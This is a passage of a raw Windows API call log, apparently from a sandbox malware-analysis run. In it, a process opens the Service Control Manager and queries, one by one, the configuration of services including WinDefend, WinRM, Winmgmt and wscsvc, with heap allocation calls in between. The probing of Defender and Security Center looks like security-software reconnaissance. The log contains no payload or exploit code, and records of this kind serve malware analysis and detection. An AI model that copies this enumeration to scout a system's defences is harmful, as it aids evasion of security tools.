RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de32e0) returned 1 [0249.440] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WinDefend", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.440] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.441] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.441] GetLastError () returned 0x7a [0249.441] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x104, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de32e0 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3368 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de32e0) returned 1 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3368) returned 1 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3368 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de32e0 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3368) returned 1 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de32e0) returned 1 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de32e0 [0249.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4018 [0249.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de4018, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3fd0 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4018) returned 1 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3fd0) returned 1 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de32e0) returned 1 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3fd0 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de32e0 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3368 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de33f0 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3478 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3500 [0249.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winhttpautoproxysvc", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4018 [0249.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winhttpautoproxysvc", cchWideChar=19, lpMultiByteStr=0x1de4018, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winhttpautoproxysvc", lpUsedDefaultChar=0x0) returned 19 [0249.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4060 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4018) returned 1 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4060) returned 1 [0249.442] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3500) returned 1 [0249.442] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WinHttpAutoProxySvc", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.443] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.443] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.444] GetLastError () returned 0x7a [0249.444] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3500 [0249.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3588 [0249.444] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3500) returned 1 [0249.444] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3588) returned 1 [0249.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3588 [0249.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3500 [0249.444] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3588) returned 1 [0249.444] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3500) returned 1 [0249.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3500 [0249.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4060 [0249.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de4060, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4018 [0249.445] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4060) returned 1 [0249.445] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4018) returned 1 [0249.445] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3500) returned 1 [0249.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4018 [0249.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3500 [0249.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3588 [0249.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winmgmt", cchWideChar=7, lpMultiByteStr=0x1de4060, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winmgmt", lpUsedDefaultChar=0x0) returned 7 [0249.445] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Winmgmt", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.445] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.445] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.446] GetLastError () returned 0x7a [0249.446] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x128, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de40a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winrm", cchWideChar=5, lpMultiByteStr=0x1de40a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winrm", lpUsedDefaultChar=0x0) returned 5 [0249.447] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WinRM", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.447] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.447] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.448] GetLastError () returned 0x7a [0249.448] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x16e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de40f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wlansvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wlansvc", cchWideChar=7, lpMultiByteStr=0x1de40f0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wlansvc", lpUsedDefaultChar=0x0) returned 7 [0249.449] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Wlansvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.449] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.449] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.450] GetLastError () returned 0x7a [0249.450] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x16a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de4138, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv", cchWideChar=8, lpMultiByteStr=0x1de4138, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmiapsrv", lpUsedDefaultChar=0x0) returned 8 [0249.451] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="wmiApSrv", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.451] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.451] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.452] GetLastError () returned 0x7a [0249.452] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0xfe, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmiapsrv.exe", cchWideChar=12, lpMultiByteStr=0x1de4180, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmiapsrv.exe", lpUsedDefaultChar=0x0) returned 12 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetworksvc", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetworksvc", cchWideChar=13, lpMultiByteStr=0x1de4180, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetworksvc", lpUsedDefaultChar=0x0) returned 13 [0249.452] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WMPNetworkSvc", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.453] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.453] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.454] GetLastError () returned 0x7a [0249.454] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x16e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wmpnetwk.exe", cchWideChar=12, lpMultiByteStr=0x1de41c8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnetwk.exe", lpUsedDefaultChar=0x0) returned 12 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpcsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpcsvc", cchWideChar=6, lpMultiByteStr=0x1de41c8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpcsvc", lpUsedDefaultChar=0x0) returned 6 [0249.454] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WPCSvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.455] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.455] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.456] GetLastError () returned 0x7a [0249.456] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.456] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de4210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de41c8 [0249.459] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4210) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de41c8) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de50d0) returned 1 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de41c8 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de50d0 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de51e0 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5268 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de52f0 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpdbusenum", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4210 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpdbusenum", cchWideChar=10, lpMultiByteStr=0x1de4210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpdbusenum", lpUsedDefaultChar=0x0) returned 10 [0249.459] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4258 [0249.459] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4210) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4258) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5378) returned 1 [0249.459] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WPDBusEnum", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.460] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.460] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.460] GetLastError () returned 0x7a [0249.460] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5400 [0249.461] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5378) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5400) returned 1 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5400 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.461] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5400) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5378) returned 1 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4258 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de4258, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4210 [0249.461] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4258) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4210) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5378) returned 1 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4210 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5400 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5488 [0249.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5510 [0249.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5598 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wscsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4258 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wscsvc", cchWideChar=6, lpMultiByteStr=0x1de4258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wscsvc", lpUsedDefaultChar=0x0) returned 6 [0249.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42a0 [0249.462] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4258) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de42a0) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5598) returned 1 [0249.462] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="wscsvc", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.464] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.465] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.465] GetLastError () returned 0x7a [0249.465] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e368 [0249.466] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5378) returned 1 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5598 [0249.466] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5378) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5598) returned 1 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5598 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.466] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5598) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5378) returned 1 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5378 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de42a0 [0249.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de42a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4258 [0249.466] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de42a0) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4258) returned 1 [0249.466] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, 